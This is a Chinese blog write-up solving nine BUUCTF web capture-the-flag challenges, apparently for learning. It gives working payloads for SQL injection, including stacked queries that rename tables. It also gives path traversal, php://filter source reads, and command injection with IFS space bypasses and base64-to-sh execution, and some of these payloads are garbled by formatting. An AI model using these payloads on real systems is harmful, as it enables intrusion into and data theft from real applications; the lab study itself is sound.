BUUCTF——Web_buuctfweb

2401_86454590 2024-09-17 12:33:01 阅读 78

username=admin’or’1=1&password=admin’or’1=1

登录后便可查看到flag

flag为:

flag{5d3cac62-7357-493e-bc2a-6d9030c2a22b}

二、 [极客大挑战 2019]Havefun

启动靶机,出现以下页面

查看源代码

尝试在网址后面加上?cat=dog

http://2414a278-f293-41f0-9adc-2490774e8790.node4.buuoj.cn:81/?cat=dog

出现以下存在flag的页面

flag为:

flag{4de413d7-e7df-4ef8-a068-d384f81ae6b4}

三、[HCTF 2018]WarmUp

启动靶机,出现以下页面

查看源代码

source.php 应该是后端的源码,这题代码审计了

源码中 给出了 两个文件,还有一个 **hint.php,**这里给出了flag的位置

! empty($_REQUEST[‘file’])    第一次判断,file参数是不是空的,非空为True

is_string($_REQUEST[‘file’])    第二次判断,file参数是不是字符串,是字符串True

emmm::checkFile($_REQUEST[‘file’]) )    第三次,检查 file 的值(file中包含 $whilelist 存在的值)

由于 不知道 ffffllllaaaagggg 的位置,所以可以用 …/…/…/…/…/…/ 目录穿越的方式进行访问(目录穿越建议6-10个…/)

payload

file=source.php?../…/…/…/…/ffffllllaaaagggg

file=hint.php?../…/…/…/…/ffffllllaaaagggg

得到flag

flag为:

flag{639456e1-1aef-4df2-b922-879cce4c3ec0}

四、[ACTF2020 新生赛]Include

启动靶机,出现以下界面

点击tips跳转到flag.php,flag应该就在这个php文件中

文件名为flag.php,那么flag应该就存在于此文件中,但是我们f12并没有查看到flag

猜测flag应该是在flag.php的源代码当中,我们可以利用php://filter伪协议来查看flag.php的源代码,构造payload:

?file=php://filter/convert.base64-encode/resource=flag.php

成功获取到flag.php加密后到源代码内容:

PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7ZmQyZTRjYWItZTRiZi00ZDM4LTk1YjAtZTNkMTk0Y2NmMjMxfQo=

解密后得到

<?php echo "Can you find out the flag?"; //flag{fd2e4cab-e4bf-4d38-95b0-e3d194ccf231}

flag为:

flag{fd2e4cab-e4bf-4d38-95b0-e3d194ccf231}

五、[ACTF2020 新生赛]Exec

启动靶机,出现以下界面

尝试输入127.0.0.1后,出现以下界面,可以看到下方是有回显的

由于当前页面输入和输出,且仅发现这这里一个可输入的地方,因此直接尝试在该地址后方添加其他的Linux命令

查看当前所在目录文件仅有这一个文件,且应该就是页面所显示的样式,因此尝试依次查看上级文件目录是否存在flag

不断尝试后,得到flag

flag为:

<code>flag{62e12391-abf9-4ad0-a48b-7171b7064ae2} 

以下命令都可以得出结果:

127.0.0.1 & cat …/…/…/flag

127.0.0.1 ; cat …/…/…/flag

127.0.0.1 | cat …/…/…/flag

127.0.0.1 || cat …/…/…/flag

六、[GXYCTF2019]Ping Ping Ping

打开靶机,出现以下界面

随便写一个ip,进行尝试

& 表示任务在后台执行,如要在后台运行redis-server,则有 redis-server &

&& 表示前一条命令执行成功时,才执行后一条命令 ,如 echo '1‘ && echo ‘2’

| 表示管道,上一条命令的输出,作为下一条命令参数,如 echo ‘yes’ | wc -l

|| 表示上一条命令执行失败后,才执行下一条命令,如 cat nofile || echo “fail”

; 分号表示命令依次执行。

输入进行尝试/?Ip=210.0.0.1&&ls (ls:查找文件),发现没有任何新的回显,应该是因为前面是假ping,所以后面的命令不执行

输入进行尝试/?ip=127.0.0.1|ls,出现以下页面,显示出了两个文件

发现 flag 我们尝试访问 flag, 输入/??ip=127.0.0.1|cat flag.php,对文件内容进行显示,

空格应该是被过滤了

空格过滤常见绕过注释:

< > %20(space), %09(tab), $IFS$1

输入/?Ip=210.0.0.1|cat${IFS}flag.php,对空格进行绕过,{}被过滤

换一种过滤方法:?ip=127.0.0.1|cat$IFS$1flag.php,flag都给过滤了

尝试访问一下前面的 index.php,?ip=127.0.0.1|cat$IFS$1index.php

查看源代码

我们知道:如果我们输入的 ip是存在的话,那么 ip=ip,并且会进行一个正则匹配(黑名单过滤),并且如果我们构造的payload中有 空格 页面就会返回一个 fxck your space ,如果我们构造的payload中有 bash 页面就会返回一个 fxck your bash…

之后输出

(输出原代码),并且将变量 a 所表示的数据给打印出来,如果我们令 $a=g;那么就可以巧妙的饶过falg的黑名单构造:

输入 ?ip=127.0.0.1;a=g;cat$IFS

1

f

l

a

1fla

1flaa.php之后,查看页面源代码,发现flag。

flag为:

flag{c555c392-3023-45f3-ba45-c18fa75130bc}

也可用以下方法进行flag的获取:

1、借用sh来构造shell 对cat flag.php进行base编码---->Y2F0IGZsYWcucGhw(这里bash被黑名单过滤了,不然也可以使用)

?ip=127.0.0.1;echo$IFS

1

Y

2

F

0

I

G

Z

s

Y

W

c

u

c

G

h

w

b

a

s

e

64

1Y2F0IGZsYWcucGhw|base64

1Y2F0IGZsYWcucGhw∣base64IFS$1-d|sh

2、内联执行——将反引号内命令的输出作为输入执行

?ip=127.0.0.1;cat$IFS$9<code>ls

七、[强网杯 2019]随便注

启动靶机,发现以下页面

首先我们要查看是否存在注入

 输入1回显正常,输入1’报错,基本判断存在注入,用#注释一下试试

 输入1’ or 1=1 # 可以发现有回显

然后开始注入

现用orderby看看有几个字段用到1’ order by 3 #时报错 说明有两列,尝试union select联合查询注入

1’ union select 1,2 #

返回一个正则过滤规则,可以看到几乎所有常用的字段都被过滤了。我们继续使用用堆叠注入,用分号当作两条语句执行

1’; show databases; #

可以看到成功了,存在堆叠注入,接下来输入1’; show tables; #  查表

发现两张表,分别为:1919810931114514和words,先看words表,输入1’; show columns from words; #

发现words表中一共有id和data两列,那么可以猜测我们提交查询的窗口就是在这个表里查询数据

再看看另一个表,数字表要加反引号1’; show columns from <code>1919810931114514 ; #

表名为数字时,要用反引号包起来查询。

方式一:1’; show columns from tableName;#

方式二:1’;desc tableName;#

如果tableName是纯数字,需要用`包裹,比如

1’;desc <code>1919810931114514;#

1’; show columns from1919810931114514;#

看到了flag,但是select被过滤

(1)修改表名

可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id(或data),结合上面的1’ or 1=1#爆出表所有内容就可以查flag啦。

修改表名:ALTER TABLE 旧表名 RENAME TO 新表名;

修改字段:ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;

rename命令用于修改表名。

rename命令格式:rename table 原表名 to 新表名;

1’; alter table words rename to words1;alter table <code>1919810931114514 rename to words;alter table words change flag id varchar(50);#

或者

1’;rename table words to words1;rename table 1919810931114514 to words;alter table words change flag id varchar(100);#

再用一下一开始的操作 id=1’ or 1=1#。得到flag 

flag为:

flag{395a2feb-153c-4595-9c97-cc31a8893210}

八、[SUCTF 2019]EasySQL

打开靶机,出现以下页面

首先我们输入1,查看回显

我们发现非0数字尝试全都回显1,接着尝试0后,发现无回显

我们接着使用上一题的Sql堆叠注入查看信息进行尝试

先用show指令查看数据库:1;show databases;

再查看一下表:1;show tables;

看到Flag表,猜测flag应该在Flag中

使用1;show columns from Flag;来查询表中列名称,无法回显出flag只会回显Nonono

在MySQL中,操作符||表示“或”逻辑:

command1 || command2

c1和c2其中一侧为1则取1,否则取0

select语句用于从数据库中选取数据,返回的数据会储存在结果表中。

在mssql中,||表示连接操作符,不表示或的逻辑。

本题中的大于0的数字出现相同回显,为0或字母时不回显一样,所以可以知道后端查询过程中应该有|| 而sql中的||有两种用法

1、以或字符 即代表or的作用

2、代表连接符,即’111’||‘222’ 其结果就是’111222’

既然我们要找到flag,后端又存在“或” 的逻辑,那么只需要把||或的逻辑改成连接符的作用就可以了。设置 sql_mode=PIPES_AS_CONCAT来转换操作符的作用。(sql_mode设置)

利用PIPES_AS_CONCAT令||起到连接符的作用。

构建payload:1;set sql_mode=PIPES_AS_CONCAT;select 1

flag为:

flag{9844b73f-8cff-4946-91f7-c82fc0b70abf}

九、[极客大挑战 2019]Secret File

启动靶机,出现以下页面

查看源代码,发现了./Archive_room.php修改一下url

点击SECRET页面发生跳转,很快就进入下一个网址了

查看绝密档案的源代码, 里面有个./action.php我们访问一下

发现也是很快跳转到END页面,我们没有直接看见action.php那只能抓包看看了

抓包后发现action.php

进行Repeater

发现action.php包有个返回包,有一个新的php(   secr3t.php  ),访问一下看看

访问一下flag.php

php://filter是php的一个协议,可以用来查找漏洞

使用方法

php://filter/convert.base64-encode/resource=目标文件

上文件读取伪协议即可,解密base64后就能看到flag

?file=php://filter/convert.base64-encode/resource=flag.php

进行base64解码



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。